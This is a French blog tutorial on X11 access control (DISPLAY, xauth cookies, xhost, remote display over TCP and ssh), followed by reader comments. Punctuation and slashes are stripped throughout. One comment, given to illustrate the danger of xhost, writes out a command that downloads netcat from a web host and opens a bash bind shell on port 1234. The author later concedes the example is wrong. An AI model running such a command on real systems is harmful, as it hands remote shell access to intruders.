 lancer une application depuis un autre utilisateur ou autre ordinateur afficher une application sur un écran voici comment procède schématiquement x sur les distributions courantes pour lancer une application  l écran chaque application se connecte à x sur un écran déterminé chaque écran est composé de deux chiffres traditionnellement nous avons 00 cela signifie première session x et premier écran si nous avons un ordinateur avec deux écrans configurés avec xinerama le première écran sera 00 et le deuxième 01 si nous lancons une deuxième session x par exemple avec gdmxnest nous auront 10 ce chiffre est enregistré dans la variable display  le cookie mitmagiccookie pour savoir si vous êtes autorisé ou non à lancer une application x vérifie que vous ayez le même cookie de session c est xauth qui gere cette partie ce cookie est recréé à chaque instance de x et est créé aléatoirement le cookie utilisateur est stocké dans le fichier xauthority dans votre répertoire personnel ce fichier est connu grâce à la variable xauthority désactiver le contrôle d accès du client il est possible de désactiver le contrôle d accès la vérification du cookie pour cela nous allons utiliser la commande xhost pour désactiver tout contrôle il suffit de faire xhost dans ce cas tout le monde même d autre machine pourront lancer des applications sur notre session x il est possible de désactiver pour un hôte spécifique en faisant xhost  nomd hôte   attention  désactiver tout contrôle signifie autoriser n importe qui à lancer n importe quelle commande en local comme en distant  lancer une application depuis un autre utilisateur local désactiver le contrôle d accès la solution la plus simple est de désactiver le contrôle en faisant gnunux serveurx xhost localhost gnunux serveurx su mot de passe root serveurx export display 00  j insiste  il ne faut jamais faire xhost sans nom d hôte mais dans ce cas n importe qui en local pourra lancer n importe quelle commande utiliser le cookie utilisateur voici la solution la plus propre pour cela modifier la variable display et la variable xauthority comme suit gnunux est l utilisateur ayant lancé x gnunux serveurx su mot de passe root serveurx export display 00 root serveurx export xauthority home gnunux xauthority root serveurx gedit root serveurx  lancer une application depuis une autre machine pour que cela fonctionne il faut impérativement que x écoute sur le port tcp pour vérifier si c est la cas en root faire root serveurx netstat tap grep x tcp 0 0 6000 listen 3237 x si ce n est pas activer vérifier votre configure de xdm gdm avec gdmsetup ou kdm désactiver le contrôle d accès je pars du principe que vous êtes sur la machine distante et non en ssh vnc ou autre la procédure ressemble à celle d un utilisateur local sur la machine avec x gnunux serveurx xhost 19216813 sur la machine distance gnunux distant export display 1921681400 gnunux distant gedit gnunux distant  attention  n importe qui sur la machine distante pourra lancer n importe quelle application copie du cookie il suffit de recopier le cookie de la machine avec x sur la machine distante sur la machine distance gnunux distant scp 19216814 home gnunux xauthority xauthdist gnunux distant export display 1921681400 gnunux distant export xauthority home gnunux xauthdist gnunux distant gedit gnunux distant  lancer une application a distance avec ssh il suffit de recopier le cookie de la machine avec x sur la machine distante sur la machine distance gnunux serveurx ssh x 19216813 home gnunux xauthority xauthdist gnunux distant scp 19216814 home gnunux xauthority xauthdist gnunux distant export display 1921681400 gnunux distant export xauthority home gnunux xauthdist gnunux distant gedit gnunux distant  conclusion  si nous n avons pas besoin de lancer des applications distantes désactiver le port de x il ne faut pas désactiver la protection interne de x pour lancer une application qu elle soit locale ou distante ne pas utiliser xhost quoi si nous utilisons xhost toujours spécifier le nom d hôte ou l adresse ip  lancer une application depuis un autre utilisateur ou autre or sur le fond l article ne souffre d aucune critique à mon goût et apporte même des précisions très utiles pour les néophytes je tique juste un tout petit peu sur deux phrases qui me semblent un peu floues mais dans ce cas n importe qui en local pourra lancer n importe quelle commande attention n importe qui sur la machine distante pourra lancer n importe quelle application il me semble que la commande xhost mise en cause permet juste à n importe quel utilisateur d  afficher ce qu il veut sur l écran dont on vient de désactiver la protection xhost ne remet pas en cause les autorisations interdictions d exécution de certaines commandes réservées à root par exemple sur la forme j ai relevé deux petites coquilles dans le paragraphe le cookie mitmagiccookie la première phrase comporte pour savoir si vous êtes authorisé  correction proprosée autorisé dans le paragraphe conclusion la deuxième phrase comporte  quelle soit local ou distance  correction proposée  qu elle soit locale ou distante    lancer une application depuis un autre utilisateur ou autre or salut manu une petite commande pour remplacer xhost localhost su sux permet d obtenir un résultat similaire à savoir lancer une application graphique depuis une console avec le compte root  lancer une application depuis un autre utilisateur ou autre or en effet après avoir installé le paquet sux ça fonctionne alors que le xhost localhost ne fonctionne pas chez moi je me contente donc d un xhost   lancer une application depuis un autre utilisateur ou autre or il me semble que la commande xhost mise en cause permet juste à n importe quel utilisateur d afficher ce qu il veut sur l écran dont on vient de désactiver la protection xhost ne remet pas en cause les autorisations interdictions d exécution de certaines commandes réservées à root par exemple heu je ne suis pas sur de comprendre permettre de lancer n importe quelles commandes a distance je trouve ca plutot dangereux non perso je pense qu on peut tout faire en utilisateur ou presque on ne peut pas sniffer facilement bien un exemple de commande amusante xterm e cd tmp wget http gnunuxinfo tmp netcat chmod x netcat nohup netcat l p 1234 e bin bash je telecharge netcat parce qu il n est pas souvent installé par défaut ou ce n est pas forcement la version gnu de netcat un xterm s ouvre et se referme trop rapidement pour être compris il suffit alors tranquillement installé dans sont canapés de faire nc adresseip 1234 bref il y a clairement danger merci pour les corrections  lancer une application depuis un autre utilisateur ou autre or bon j ai rajouté un exemple pour montrer les dangers encourus  lancer une application depuis un autre utilisateur ou autre or je vais faire une réponse express car je vais dormir avant de prendre la route demain matin je ne consteste pas la dangerosité de xhost ni l exemple que tu donnes mais je trouve simplement que tes deux phrases sont trop floues et laissent penser que cela permet au pirate d utiliser des commandes qu il n aurait pas normalement la capacité d utiliser ce qui n est pas le cas et je te concède qu il y a peu de choses qu on ne peut pas faire en utilisateur o mais un aptget install foobar ne deviendra pas faisable par un nonroot si la victime fait un xhost c était le sens initial de ma remarque il me semble que tes phrases devraient probablement être complétées par un exemple concrêt comme celui que tu viens de donner des abus que permet cette fameuse commande xhost afin que le futur lecteur prenne la mesure des risques encourus voilà voilà c est tout j ai juste essayé de me faire l avocat du newbie moyen qui lit ton article o cette foisci je suis vraiment en vacances alors je vous dis au 3 mai prochain bye bye  lancer une application depuis un autre utilisateur ou autre or je l ai pris comme cela et j ai rajouter l exemple bon pour répondre même si je comprends bien que ce n etait qu un exemple parmi toutes les choses qu on ne peut pas faire et que c est surement un des premiers exemple que j aurais eu si j en cherchais un il est possible d installer des logiciels et de les utiliser sans être root l accès au compte root n est plus vraiment ce que recherche les chianlits aujourd hui  lancer une application depuis un autre utilisateur ou autre or hum c est totalement faux ce que j écris là ca m apprendra de repondre a un message le dimanche soir evidement cette commande lance netcat sur le poste où nous avons lancé la commande et non le poste distant  lancer une application depuis un autre utilisateur ou autre ordi comme je te l avais indiqué lors de la publication de cet article cette commande n a aucun effet chez moi xhost localhost j étais donc obligé d utiliser cette commande xhost ou cette commande sux mais je viens de trouver la solution avec xhost xhost local   environnements graphiques  